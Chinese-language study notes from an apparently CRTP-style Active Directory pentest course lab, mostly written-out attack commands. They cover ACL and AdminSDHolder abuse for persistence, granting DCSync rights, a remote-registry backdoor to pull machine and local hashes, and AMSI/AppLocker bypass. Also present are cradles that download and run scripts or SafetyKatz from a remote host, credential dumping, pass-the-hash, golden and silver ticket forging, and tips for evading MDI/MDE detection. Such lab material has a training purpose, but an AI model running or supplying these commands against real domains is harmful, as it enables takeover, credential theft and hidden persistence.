01 DACL
acl分为两种类型,DACL
和 SACL
DACL
- 控制访问权限
- ACE包含(拒绝访问/允许)
- 直接决定权限
SACL
- 日志/审计记录
- 行为记录
- 失败/成功的行为记录
1.用户多个权限场景的DACL匹配
以下为例,当有两个 用户A
用户B
A用户 | B用户 |
---|---|
Andrew | Jane |
GROUP-A | GROUP-A |
GROUP-B | |
GROUP-C |
他们都要访问一个 对象
而这个对象 DACL
中的权限如下
Object
ACE1 | ACE2 | ACE3 |
---|---|---|
Access denied | Access allowed | Access allowed |
Andrew | GROUP-A | Everyone |
Read,Write,execute | Write | Read,execute |
因为 拒绝
ACL优先级更高
因此 A用户
试图执行、写入、查看 Object
将会禁止访问 Access denied
而 B用户
将拥有,ACE2
GROUP-A
的 write
权限, ACE3
Everyone
的Read
、execute
权限。
2.ACL权限利用
当对 域管理员组
有 控制
权限时,最好的做法不是给 域管理员组
添加一个用户,而是给一个账户添加对 域管理员组
的 完全控制
权限 ,但同时需要注意,每隔一小时都会有一个 SD持有人
的特殊容器会覆盖掉域内 受保护
的 高价值账户或组
的 ACL
3.枚举收集域内ACL
枚举域内对于 student1
账户的权限
powerview
1 | Get-domainObjectACL -SamAccountName student1 -ResolveGUIDS |
基于ldap筛选,枚举域内针对于 domain admin
CN
的 ACL
1 | Get-domainObjectACL -SearchBase "ldap://CN=domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose |
AD module
1 | (Get-Acl 'ad:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access |
列出相对有价值的权限
powerview
1 | Find-InterestingDomainAcl -ResolveGUIDs |
获取与指定路径相关的ACL
1 | Get-PathAcl -Path '\\dcorp-dc.dollarcorp.moneycorp.local\' |
4.AdminSDHolder
安全描述符持有者是一个容器,他包含一个ACL列表,会有一个进程每过一小时读取这个acl列表,并将这个ACL其覆盖掉ACL每个受保护对象(组/用户)。
因此对受保护组或成员的acl做出的任何修改都将会在一小时后被 AdminSDHolder
的ACL重置。
01.利用AdminSD
只需要对 AdminSDHolder
添加当前用户的 完全控制
权限,之后adminSD的同步时候便会将当前用户的 完全控制
权限会自动同步应用到所有被保护的组中。
对 AdminSDHolder
操作的任何acl,都会同步至受保护的对象的 ACL
。
添加之后,即便从域管组中即便删除了当前用户的权限,每次同步acl都会重新覆盖掉acl。
做法有两种:
1.powerview
1 | add-domainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity Student1 -Right All -principaldomain dollarcorp.moneycorp.local -Targetdomain dollarcorp.moneycorp.local -Verbose |
2.RACE
需要DA权限
https://github.com/samratashok/RACE
1 | Set-DCPermissions -Method AdminSDHolder -SAMAccountNAME student1 -Right GenricAll -DistinguishName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Verbose |
02.加载脚本手动触发adminSD同步
1 | $sess = New-PSSession -ConputerName dcorp-dc |
1 | Invoke-Command -Session $sess -FilePath "C:\tools\Invoke-SDPropagator.ps1" |
1 | Invoke-Command -Session $sess -scriptblock {Invoke-SDPropagator -showProgress -Verbose -timeoutMinutes 1} |
2008的话用这个
1 | Invoke-SDPropagator -taskname FixUpInheritancetimeoutMinutes 1-showProgress -verbose |
03.如何防范
除了保护好域管理员之外,还应当对adminSDHolder 开启日志审计。
5.权限修改、添加等(命令样例)
添加对 AdminSDHolder
的 ResetPassword
权限
1 | add-domainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -printcipalIdentity student1 -Rights ResetPassword -Principaldomain dollarcorp.moneycorp.local -Targetdomain dollarcorp.moneycorp.local -Verbose |
添加对 AdminSDHolder
的 writeMembers
权限
1 | add-domainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -printcipalIdentity student1 -Rights writeMembers -Principaldomain dollarcorp.moneycorp.local -Targetdomain dollarcorp.moneycorp.local -Verbose |
重置testda用户密码
powerview
1 | Set-domainUserPassword -Identity testda -AccountPassword (ConvertTo-Securestring "Password@123" -AsPlainText -Force) -Verbose |
AD module
1 | Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-Securestring "Password@123" -AsPlainText -Force) -Verbose |
检查student1对domain admins的权限
powerview
1 | Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.securityIdentifier);$_ } | ?{ $_.IdentityName -match "student1" } |
AD moduel
1 | (Get-Acl -Path 'AD:\CN=domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{$_.IdentityReference -match "student1"} |
添加对域的DCSync权限,这里涉及到两个权限 Replicating Diretory changes
和 Replicating Diretory changes ALL
powerview
1 | add-domainobjectACL -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -principalIdentity student1 -Rights DSCync -Principaldomain dollarcorp.moneycorp.local -Targetdomain dollarcorp.moneycorp.local -Verbose |
RACE
1 | set-ADACL -SamAccountName Student1 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -GUIDRight Dcsync -Verbose |
6.基于ACL利用的访问持久化
在有管理访问权限的机器上,通过修改某些 acl
满足以无需管理权限便允许通过WMI或远程注册表访问机器,通常这些访问方式需要有机器的管理权限才可使用。
这些ACL通常是SDDL编写(安全描述符定义语言)
安全描述符(SDDL)使用ACE形式来表示 DACL 和 SACL 如:
1 | ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid |
比如 administrator
在WMI命名空间的 ACE
1 | A;CI;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-32-544 |
如下
字段 | 值 | 含义 |
---|---|---|
A | Allow | 允许访问 |
CI | Container Inherit | 可被子对象继承 |
CCDCLCSWRPWPDTLOSDRCWDWO | 权限 | 多个权限位 |
空 | 对象 GUID | 不限定 |
空 | 继承 GUID | 不限定 |
S-1-5-32-544 | SID | 本地组:Administrators |
要利用这个,可以用当前所控制账户的SID 拿管理员对应的这条ACE搞过来,并指定后面的SID到目标用户,便可以得到相同权限。
WMI的ACL修改
当使用WMI的时候有两个地方会检查权限,一个是DCOM,一个是wmi命名空间(检查是否有权限连接到DCOM端点)
这里直接用RACE,对WMI进行操作,注意修改这些部分需要admin权限。
在本地执行
1 | Set-RemotewMI -SamAccountName student1 -verbose |
在远程主机执行(使用当前用户凭据)
1 | Set-RemoteWMI -SamAccountName student1 -computerName dcorp-dc -namespace 'root\cimv2' -Verbose |
使用其他用户凭据
1 | Set-RemoteWMI -SamAccountName student1 -computerName dcorp-dc -credential Administrator -namespace 'root\cimv2' -Verbose |
远程删除对应权限
1 | Set-RemotewMI -SamAccountName student1 -ComputerName dcorp-dc-namespace 'root\cimv2' -Remove -verbose |
有权限后可以验证一下
1 | gwmi -class win32_operatingsystem -ComputerName dcorp-dc |
Powershell远程的ACL修改
正常情况下需要有被远程连接主机的本地管理员权限才可以使用Enter-PSSession
同样可以通过RACE脚本来操作
1 | Set-RemotePSRemoting -SamAccountName student1 -verbose |
在远程主机执行(在当前进程账户权限足够的情况下,使用当前用户凭据)
1 | Set-RemotePSRemoting -SamAccountName student1 -computerName dcorp-dc -namespace 'root\cimv2' -Verbose |
使用其他用户凭据(当前权限不够的情况下,用权限足够的账户)
1 | Set-RemotePSRemoting -SamAccountName student1 -computerName dcorp-dc -credential Administrator -namespace 'root\cimv2' -Verbose |
远程删除对应权限
1 | Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc-namespace 'root\cimv2' -Remove -verbose |
远程注册表权限
为用户student1添加远程注册表的访问权限
1 | Add-RemoteRegBackdoor -computerName dcorp-dc -Trustee student1 -verpose |
作为student1 检索dcorp-dc机器帐户哈希
1 | Get-RemoteMachineAccountHash -computerName dcorp-dc -verbose |
作为student1 检索dcorp-dc的本地账户哈希(包含administrator等账户)
1 | Get-RemoteLocalAccountHash -ComputerName dcorp-dc -verbose |
作为student1 检索dcorp-dc的域缓存凭据
1 | Get-Remotecachedcredential-computerName dcorp-dc -verbose |
这里留这个后门,为了方便后续低权用户拿到DC的机器hash伪造银票力,做持久维权(桀桀桀
02 domain enumeration
1.可能会有域用户的 description
(描述)属性被写了明文敏感信息
powerview
1 | Get_DomainUser -LDAPFilter 'Description=*built*'|Select name,Description |
AD module
1 | Get-ADUser -Filter 'Description -like "*built*"' -Properties Description |select name,Description |
2.找到域内实际使用的机器,可以通过登录次数来判断
powerview
1 | Get-DomainComputer | select dnshostname |
1 | Get-DomainComputer | select dnshostname,logonCount |
3.枚举组
powerview
1 | Get-domainGroup |
通过组名来寻找包含关键字的组 (以admin关键字为例)
1 | Get-DomainGroup *admin* |
如果像这样查询,会发现没有 企业管理员
(Enterprise Admins)
1 | Get-domainGroup *admin* | select name |
而当向域来请求时,将会看到企业管理员组
1 | Get-DomainGroup *admin* --Domain moneycorp.local | select name |
企业管理员存在于根域中,允许访问所有的域控制器
而子域的域管理员可能无法直接访问到dc,这还需要再进行移动。
sid是唯一标识,无法出现俩相同的
500-1000 是预留的
如果一个域收到了攻击,整个域林早晚都会G,(这部分内容将会在 19 和 20 节课中学到)
4.枚举域管理员组人员
1 | Get-domainGroupMember -Identity "domain Admins" -Recure |
5.通过用户名枚举用户所属组
1 | Get-domainGroupMember -Username "student1" |
6.列出本地 组 或 组成员
需要注意,dc是一台特殊的机器,在dc列出本地组、组成员不需要特殊权限
而在其他成员机器上列出本地组、组成员,则需要administrator权限
列出机器上的本地组
1 | Get-NetLocalGroup -computerName dcorp-dc |
列出机器上指定组的 组成员
1 | Get-NetLocalGroupMember -ComputerName dcorp-dc -GroupName Administrators |
7.枚举 smbshare
获取当前host的share
1 | Invoke-ShareFinder -verbose |
获取当前域名中的敏感文件
1 | Invoke-FileFinder -verbose |
获取域中所有文件服务器
1 | Get-NetFileserver |
枚举共享这部分,阿三推荐了
1 | Invoke-HuntsMBShares -NoPing -outputDirectory C:\AD\Tools -HostList C:AD\Tools\servers.txt |
这个扫完了之后需要把html能拿出来看
从opsec角度来看,阿三不建议把域控加入到扫描的 servers.txt
中,因为:如果枚举一个配置了MDI的域控,那域控会直接告警
快速创建和留下连接日志为4624、4634
8.bloodhound遛狗
遛狗基于opensec角度来看,-c ALL
因为 smb
和 ldap
等对DC发起的请求有很大概率被mdi直接告警。
所以这里阿三建议手动指定扫描的方法 ,并且排除dc
1 | Group,GPoLocalGroup,Session,Trusts,AcL,container,objectProps,SPNTargets,CertServices --excludedcs |
然后是 local admin在4.0.3版本有,所以需要单独弄4.0.3的狗子
9.SOAPHound
SOAPHound并非使用ADDS,而是使用ADWS(active directory web)走9389端口来交互,这样就不走LDAP了。
使用方式如下
1 | SOAPHound.exe --buildcache -c "C:\path\cache.txt" |
联动bloodhound的方式,这个SOAPHound支持转换为bloodhound的形式
1 | SOAPHound.exe -c "C:\path\cache.txt" --bhdump -o "C:\path\bloodhound-output" --nolaps |
10.域会话(session)枚举
(在大于等于2019版本时,需要本地管理员才可以列出session)
可以使用这个,他不需要远程的管理员权限也可以枚举session,它使用远程注册表查看 HKEY_USERS
的 hive
1 | Invoke-SessionHunter -Failsafe |
站在opsec角度来看,为了避免触发DC的MDI,同样,采用列表查询的方式,剔除掉其中的DC
在枚举域机器上的session时 Invoke-SessionHunter
会更加实用一些
1 | Invoke-SessionHunter -NoPortScan -Targets "C:\servers.txt" |
查找 domain admin
或者其他 指定组
/ 用户
存在session的机器,需要注意这个脚本是要在被查找得那台机器上有管理员权限才可以查看到。
powerview
1 | Find-domainUserLocation -Verbose |
查询指定的组/用户存在session的机器
1 | Find-domainUserLocation -Verbose -UserGroupIdentity "RDPUsers" |
这个函数的原理是先通过 Get-domainGroupMember
获取用户,然后再 Get-domainComputer
获取域机器列表,然后对每个机器执行 ( GET-NetSession
/ Get-NetLoggedon
) 枚举机器上的用户session和登录情况。(默认是寻找 domain admins
)
要注意的是,因为也会枚举DC机器上的,这会导致MDI告警。
bypass的方式为不要枚举DC(哈哈哈哈
11.查询用户被配置为本地管理员的机器 枚举
查询当前域中 当前用户被配置为本地管理员的机器(可以远程过去的机器)
1 | Find-LocalAdminaccess -Verbose |
要注意,Find-LocalAdminaccess
函数动作如下
首先使用 Get-NetComputer
从 DC
中获取域主机列表
1 | Get-NetComputer |
然后在每一台机器上执行 Invoke-checkLocalAdminAccess
1 | Invoke-checkLocalAdminAccess |
(当拿到的账户在当前机器并不是管理员,但可能在其他机器上为本地管理员)
对其他主机使用的话或者请求被阻止的情况下,可以用下面两个脚本远程wmi协议或者smb
1 | Find-WMILocalAdminAccess.ps1 |
1 | Find-PSRemotingLocalAdminAccess.ps1 |
指定探测的域名范围
1 | Find-PSRemotingLocalAdminAccess.ps1 -domain dollarcorp.moneycorp.local -Verbose |
要注意的是这些都是首先从DC枚举机器,然后再挨个机器尝试的,这种行为会留下 4624(登录成功) 和 4634(登录失败)
而且我们不仅要寻找本地管理员权限,还要寻找是否有特定的组或者用户的会话session
03 powershell
bypass amsi
1.reveres strings
example
1 | New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)... |
新版课程中开始推荐使用 Invisi-shell
避免被记录powershell日志
powershell从内存加载很好用 绕过
powershell security
2.mimikatz bypass
课程中给到了一个powerkatz.all base64后再反转的方式
通过判断启动时候先检测drivers下vm等文件是否存在的形式,来确实是否在沙箱,其实还可以通过判断c盘下文件路径或者机器名等来确定
3.powershell一些概念和用法
- PowerShell is NOT powershell.exe. lt is theSystem.Management.Automation.dl
加载模块
1 | import-module Path (example : C:\AD\Tools\test.psd1) |
列出模块中可用的命令
1 | Get-Command -Module <modulename> |
powershell 下载
1 | iex (New-object Net.webclient).downloadstring("http://test.com/test.ps1") |
↓这个在新版本windows已经被弃用了,会弹出来IE浏览器,如果直接拿来打印页面内容话根本获取不到内容..
1 | $ie = New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate("http://192.168.221.128"); |
比较新的↓
1 | IEX (Invoke-WebRequest -Uri "http://192.168.221.128/test.ps1") |
另一种,不知道为啥本地只能获取内容 PSv3
会提示没有
1 | PSv3 onwards -iex (iwr 'http://192.168.221.128/test.ps1') |
通过xml
1 | $h = New-Object -ComObject Msxml2.XMLHTTP; |
.net 形式的
1 | #调用HttpWebRequest的Create方法 |
5.1 版本的 powershell记录 开始记录日志
4104
4103
powershell 语言模式
powershell中有四种语言模式
- FullLanguage
- RestrictedLanguage
- ConstrainedLanguage (于Powershell3.0版本引入)
- NoLanguage
查看当前语言模式
1 | $ExecutionContext.SessionState.LanguageMode |
按照权限开放度排序
1 | FullLanguage > RestrictedLanguage > ConstrainedLanguage > NoLanguage |
在crtp,其使用规避 ConstrainedLanguage
或受限语言模式是使用 invishell
中的bat来加载dll。
1 | RunWithRegistryNonAdmin.bat |
或有admin权限的话执行下面这个
1 | RunWithPathAsAdmin.bat |
要注意的是 如果如果主机上有 applocker
或 Device Guard
这样的程序应用白名单解决方案或者执行规则(Execution Rule),powershell
将会被降级到ConstrainedLanguage
模式 。
applocker
注:applocker采用的是白名单模式。
在这个lab中adminsrv机器开启了applocker
查看当前机器applocker是否开启(有权限的话)
1 | reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2 |
查看 applocker
规则
1 | Get-ApplockerPolicy -Effective |
进一步筛选查看白名单路径等
1 | Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections |
但当前用户在这台运行了 applocker
机器上有管理员权限时,有多种方式关闭掉applocker
不过这个实验室里做了多种限制使得applocker并不容易被关掉,首先采用配置白名单目录的配置缺陷来做。
这里通过筛选 applocker
策略发现,下面的目录被允许执行脚本等
1 | {%PROGRAMFILES%\*} |
将混淆过的mimikatz脚本,这个 Invoke-mimi.ps1
传输到这个机器对应的白名单目录下,即可使用
1 | copy-item C:\AD\Tools\Invoke-mimi.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\C$\'Program Files' |
然后是通过用户所属的组对 Applocker
的组策略权限有编辑权限,来删除Applocker
执行规则。
组策略控制台
1 | gpmc.msc |
选中编辑applocker策略
1 | Applocked->applocker(Edit) |
找到applocker具体编辑项目,删除执行规则(Execution Rule)
1 | Windows Settings -> Security Settings -> Application control Policies -> Applocker -> Execution Rules -> (Deleted Target Rule) |
powershell执行脚本受限
当前为 ConstrainedLanguage
模式的话将没有权限带着参数调用ps1脚本等。
所以这里比如执行 Invoke-mimi.ps1
,原本是需要带上参数的
但是这里可以修改脚本,在脚本执行最后添加执行 mimikatz
命令
1 | ... |
OPSEC
域票据
mimiktaz的金票是10年,查看域规则的票据过期时间,伪造的票据过期时间应当尽量与域策略统一。
域用户
通过logon次数来规避使用极少使用的用户
04 GPO,OU
GPO
将一个组策略应用给权限比较宽松的OU,是比较常见的滥用场景
获取域内所有组策略(GPO)
powerview
1 | Get-domainGPO |
进查看displayname
powerview
1 | Get-domainGPO | select displayname |
OU
列出OU
1 | Get-DomainOU |
根据上一条命令,可以通过GPlink的CN来获取指定的GPO
1 | Get-domainGPO -Identity '{xxxxxxx-xxxx-xxxx-xxxx-xxxxxx}' |
查询在指定OU中的 计算机 有哪些
1 | (Get-domainOU -Identity Devops).distinguishedname| %{Get-domainComputer -Search $_} |select name |
受限组
“受限组”是什么?
- 是一种 组策略设置,用于强制某个本地组(比如本地 Administrators)中只能包含特定的成员。
换句话说,你用“受限组”配置了一个本地组,那么无论别人手动加了什么用户进去,都会被策略重写成你设定的那一套。
“将域组添加到本地组”
- 比如你想让一个 AD 域里的组(如 DOMAIN\Admins)或者某个用户自动变成本地机器上的管理员,那你可以通过“受限组”来实现这个操作。
攻击者可以
1.用“受限组”把自己加入所有机器的 Administrators!
2.然后每台机器都自动把他加入进去(持续生效)!
枚举
1 | Get-DomainGPOLocalGroup |
https://www.cnblogs.com/linuxsec/articles/8270543.html
获取用户被GPO配置为哪几个机器的本地特殊组成员
powerview
1 | Get-DomainGPOUserLocalGroupMapping -Identity Student1 -Verbose |
列出针对某台机器,GPO中配置了本地组的账户成员
1 | Get-domainGPOComputerLocalGroupMapping -ComputerIdentity dcorp-student1 |
GPO滥用
截取NTLM凭据,重放至DC,通过修改GPO的 gPCFileSysPath
(定义组策略对象加载策略的路径),指向我们自定义的恶意组策略路径模板。
05 domain Trusts
外部信任
多个外部信任之间,即便有信任的情况下,也需要被访问方配置明确指定访问的资源才可以访问.
所以企业建设采用多个林与林是相对安全的选择
Forest Trusts
Forest Trusts
指多个林根之间互相信任,林交叉
枚举域名信任
获取所有域信任
powerview
1 | Get-domainTrust |
获得指定域的所有域信任
1 | Get-domainTrust -Domain us.dollarcorp.moneycorp.local |
AD module
1 | Get-ADTrust -Identity us.dollarcorp.moneycorp.local |
枚举 Forest
当前域林的所有信息
powerview
1 | Get-Forest |
获取指定域林的信息
1 | Get-Forest -Forest eurocorp.local |
AD module
1 | Get-ADForest |
1 | Get-Forest -Identity eurocorp.local |
获取指定域林中的域
获取一个指定域林中的所有域
1 | Get-Forestdomain |
获得指定域林中的域
1 | Get-Forestdomain -Forest eurocorp.local |
当与其他域林有双向信任的情况下,也可以在这里指定其他域林然后查看他域中的信任关系
(注意,如果仅和其他域林中的根域有双向信任,而与其子域名没有信任的话,则无法对其子域Get-domainTrust
)
1 | Get-Forestdomain -Forest eurocorp.local | %{Get-ForestTrust -domain $_.name} |
ad module
1 | (Get-ADForest).domains |
列出林中的全局编录服务器(枚举作为全局目录的DC控制器)
当前林
1 | Get-ForestGloblCatalog |
指定林
1 | Get-ForestGlobalCatalog -Forest eurocorp.local |
AD module
1 | Get-ADForest |select -ExpandProperty GlobalCatalogs |
枚举域林之间信任
枚举域林之间信任关系
powerview
1 | Get-ForestTrust |
1 | Get-ForestTrust -Forest eurocorp.local |
AD module
1 | Get-ADTrust -Filter "msDS-TrustForestTrustInfo" -ne "$null" |
06 权限提升(Privilege Escalation)
- 缺少补丁
- 自动部署和明文中的自动登录密码
- 任何用户都可以以SYSTEM身份运行MSI(AlwavsInstalElevated)
- 配置错误的服务
- DLL劫持等
- Kerberos和 NTLM 转发
枚举工具:
(有点老的工具)
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
(比较新还在维护的)
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
winpeas
1.缺陷服务枚举
列出当前主机上服务和对应的服务账户名
1 | Get-WmiObject Win32_Service | Select-Object Name, DisplayName, StartName, State | Format-Table -AutoSize |
带有空格但是没有引号包裹的服务
以这个为例
1 | C:\WebServer\Abyss Web Serkerabyssws.exe -service |
没有引号包裹导致,可以通过上传 C:\WebServer\Abyss.exe
恶意载荷,重启服务即可得到权限。
PowerUP
1 | Get-ServiceUnquoted -Verbose |
获取当前用户有修改二进制执行路径或参数的服务
1 | Get-ModifiableServiceFile -Verbose |
获取当前用户能够有权限修改服务配置的服务
1 | Get-ModifiableService -Verbose |
通常是服务权限 DSCL
过松
(服务权限结尾的 WD
代表的是所有人)
1 | sc.exe sdshow snmtrap |
要注意的是,更改服务配置这种操作,连MDE这种白痴都会感知到。
执行所有check
PowerUP
1 | Get-Allchecks |
这里 Invoke-ServiceAbuse
会给一个用户添加localadmin 如果没有指定的话就是创建john用户然后给他加个.
powerUP abuse
1 | help Invoke-ServiceAbuse |
Privesc
1 | Invoke-PrivEscCheck |
winpeas
1 | winpeasx64.exe |
2.本身就易受攻击的高权服务
未授权漏洞导致Jenkins可以直接执行命令,从而获得高权
3.NTLM/KRB中继攻击
不用直接尝试破解密码,建议考虑中继利用做端点身份验证等
07 横向移动
powershell交互式
PowerShell Remoting(如通过 Enter-PSSession 或 Invoke-Command)默认使用 WinRM(Windows Remote Management 5898) 服务进行通信,而该服务的默认安全策略要求远程用户在目标计算机上具有管理员权限才能成功建立远程会话。
1 | New-PSSession |
1 | Enter-PSSession |
powershell非交互式
1 | Invoke-command -Scriptblock{set $ENV:computername;set $ENV:username} -ComputerName dcorp-adminsrv |
批量执行
1 | Invoke-command -Scriptblock{set $ENV:computername;set $ENV:username} -ComputerName (cat C:/servers.txt) |
批量执行脚本
1 | Invoke-Command -FilePath "C:\script\Get-PassHashes.ps1" -ComputerName (Get-Content "C:/servers.txt") |
本地已经加载了脚本,于远程服务器上执行函数
1 | Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content "C:/servers.txt") -ArgumentList |
获得一个session,然后指定session执行
1 | $sess = New-PSession |
因为powershell远程会全系统转录并且留下命令执行记录,可以通过使用winrs替换PSRemote,规避掉留下日志。者能够绕过MDE 但MDI还是会有记录
1 | winrs -remote:server1 -u:server1\administrator -p:Pssword@1234 hostname |
08 相关敏感凭据提取
LSASS
为了避免触发edr,所以需要在不触及LSASS进程的情况下获取票据
转储 SAM hive 得到本地凭据
转储 LSA Secrets/SECURITY hive 得到服务密码,域缓存凭证。
dpapi 凭据管理器/保险库,浏览器cookies,凭据,Azure Token
mimikatz
DC中dump所有域凭据
注意,从DC上lsa的dump出的没有aeskey,只有dcsync才能导出aeskey
1 | "lsadump::lsa /patch" exit |
dump凭据 dump credentials
1 | sekurlas::ekeys |
Safekatz dump
使用 loader.exe
来运行
或者impacket
哈希传递(pth)
1 | Safetykatz.exe "sekurlsa::pth /user:administrator /domain:dollarcorp.moneycorp.local /aes256:<aeskey> /run:cmd.exe" "exit" |
使用这个命令将会以logon type 9 启动一个会话 (与runas /netonly相同)
要注意 logon type 9
情况下,只有访问远程资源时才会使用新凭据。 而且这要求管理员才能使用
小技巧:
以及,Loader.exe
可以远程加载exe执行
1 | Loader.exe -Path http://172.16.100.1/SafetyKatz.exe sekurlsa::evaskeys exit |
配合winrs使用,在远程主机上执行,(这里 ekeys
被重命名为了 evasive-keys
,为了规避关键字监测)
1 | winrs -r:dcorp-mgmt "cmd /c C:\Users\Public\Loader.exe -path http://172.16.100.1/SafetyKatz.exe " |
通过netsh将http.server代理到目标本地,来规避一部分网络检测
1 | $null | winrs -r:dcorp-mgmt "netsh interface portproxy add v4tov4 listenport=8080 listenAddress=0.0.0.0 connectport=8888 connectaddress=172.16.100.1" |
然后只需要在本地加载即可
1 | $null | winrs -r:dcorp-mgmt "cmd /c C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::evasive-keys exit" |
在演示时,导出了 svcadmin
的凭证, 输出其账户对应的 session
属性为 Service from 0
这代表着这台在这台机器上有一个服务但是以 svcadmin
管理员账户权限运行,这种情况导出将会提供明文的密码.
vault凭据
rdp
、计划任务
等操作使用的凭据都保存在windows的(Vault)凭据库中,这里也用mimikatz 或者 Invoke-Mimi.ps1
进行导出即可。
因为他的command并不常见,所以通常来说不会被拦截住.
可以和applocker的限制的部分我们做法一样,可以在 Invoke-Mimi.ps1
的末尾加上这部分
1 | ... |
sekurlsa::ekeys获取的是来自lsass内存中的凭据和aes、rc4的key等,而vault则是解密并显示windows vault
中存储的明文 用户名
/密码
等
这阿三说,”保险库凭据等同于dpapi”
我感觉是属于一部分
DCSync
DCSync导出krbtgt凭据
要注意通常情况下DCSync需要DA(domain admin)才可以做
1 | SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit" |
PS历史命令记录
1 | Get-PSReadLineOption |
注意,在2024年11月左右的更新之后,这个文件Host_history.txt
将不会记录下面这条ConvertTo-SecureString
,以避免暴露明文密码。
1 | $pass = ConvertTo-SecureString "Password@123" -AsPlaintext -Force |
1 | $Creds = System.Management.Automation.PSCredential ("dcorp/administrator",$pass) |
1 | Enter-PSSession -credential Creds -ComputerName "dcorp-dc" |
票据利用
要注意的是这个Rubues获取票据的操作会覆盖当前的票据
1 | Rubues.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt |
下面这个需要本地管理员权限
1 | Rubues.exe asktgt /user:administrator /aes256:<aeskey> /opsec /createnetonly:C:\windows\system32\cmd.exe /show /ptt |
加载利用 Rubeus
,注:/ptt
在该进程中注入票据
1 | Loader.exe -path C:\AD\tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:xxxxxxxxxxxxxxxxxxx /opsec /createnetonly:C:\windows\system32\cmd.exe /show /ptt |
在上述执行拿到域管的cmd之后,执行
whoami
查看会发现并不是svcamin
, 这是因为logon type 9,只有访问远程资源时才会调用新票据,比如通过当前cmd进程执行winrs
访问dc
1 | winrs -r:dcorp-dc cmd /c set username |
09 kerberos
1.PAC
AP-req
,在服务端收到客户端的st之后,如果DC配置了开启了PAC校验,service
则会发送PAC给DC校验PAC中权限,这通常是不开启的。
PAC中包含了这个用户于TGS中所声称的用户的信息。
2.Golden Ticket
因为AS-REP
返回给客户端的TGT中加密的部分,使用的是 krbtgt
的凭据key来进行加密。
所以在响应 TGS-REQ
时,DC
验证票据主要是看 krbtgt
的凭据是否能成功解密,并获取客户端的 TGT
中加密部分的内容。
也就是说,可以通过获取 krbtgt
的key,来伪造一个包含了我们伪造的目标用户信息 TGT
,用于在 TGS-REQ
时,被 DC
能供成功解析。
通过这种方式来伪造任意用户的 TGS-REQ
,可进行获取任意用户的任意服务票据。
获取 krbtgt
凭据的方式
1.在DC上以域管理员(DA)身份执行mimikatz 导出凭证,但是这样只会得到得到RC4(htlm)
1 | C:\tools\SafetyKatz.exe '"lsadump::lsa /patch"' |
2.具有DCSync权限,可以导出aeskey
1 | C:\tools\SafetyKatz.exe '"lsadump::dcsyn /user:dcorp\krbtgt " "exit"' |
krbtgt 有密码记录,如果提交TGT而KDC无法使用当前密码解密,那他就会尝试上一个密码。
利用金票:
1 | C:\tools\Rubeus.exe golden /aes256:xxxxxxxxx /sid:<domain-Sid> /ldap /user:Administrator /printcmd |
本实验室里用 loader
加载 Safetykatz
的话用下面这个
1 | C:\tools\Loader.exe -path http://127.0.0.1/Rubeus.exe -args evasive-golden /aes256:xxxxxxx /sid:<domain-Sid> /ldap /user:Administrator /printcmd |
然后根据输出的命令,在后面添加添加 /ptt
再次执行,在当前会话中注入票据,即可。
请注意,使用这段请求金票时,将会向DC发送3个LDAP查询请求:
- 获取
/user
中指定的flag (比如这里的administrator) - 检索
/groups
,/pgid
,/minipassage
,/maxpassage
- 检索当前域的
/netbios
如果已经枚举了上述值或能添加更多值,则建议在打造金票时指定,这更有利于隐蔽。
3.silver Ticket
MDI对银票的检测宽容度非常高,即便是用域控(DC)机器账户伪造下发银票,mdi也不会管。
Kerberos流程中最后部分 可选的PAC鉴权选项 会使这个票据失效,因为最后service还需要拿着st中的PAC交由dc验证,如果dc发现pac中的信息和对st发起请求的客户端不匹配,则G了
1.利用银票
Rubeus
1 | C:\tools\Rubeus.exe silver /service:http/dcorp-dc.dollarcorp.moneycorp.local /rc4:xxxxxxxxxxxx /sid:<domain-sid> /user:Administrator /ldap /domain:dollarcorp.moneycorp.local /ptt |
这里服务指定的是http
,http
的 st 可以访问的资源比如 WinRM
、Winrs
等走http的鉴权访问资源。
Host
的service则可以做 计划任务(Scheduled Tasks)
、本地资源
、WMI
等访问。
RPCSS
则是对主机发起 RPCSS
的访问,相比于 Host
的基础上多了访问 COM
和 远程管理服务等。
以上两种都可以执行 WMI
(或者需要两种) ,WMI背后的服务是 rpc
和 DCOM
用wmi执行命令的话可以酱紫
1 | Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName dcorp-dc |
看不到回显的话把命令回显可以写入到一个wmi能读取的地方,然后再查看回显
比如注册表
1 | PS C:\ad\tools> Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName dcorp-dc -ArgumentList 'cmd.exe /c for /f "usebackq delims=" %i in ("C:\Windows\Temp\out.txt") do reg add "HKLM\SOFTWARE\TempKey" /v Who /t REG_SZ /d "%i" /f' |
CIFS
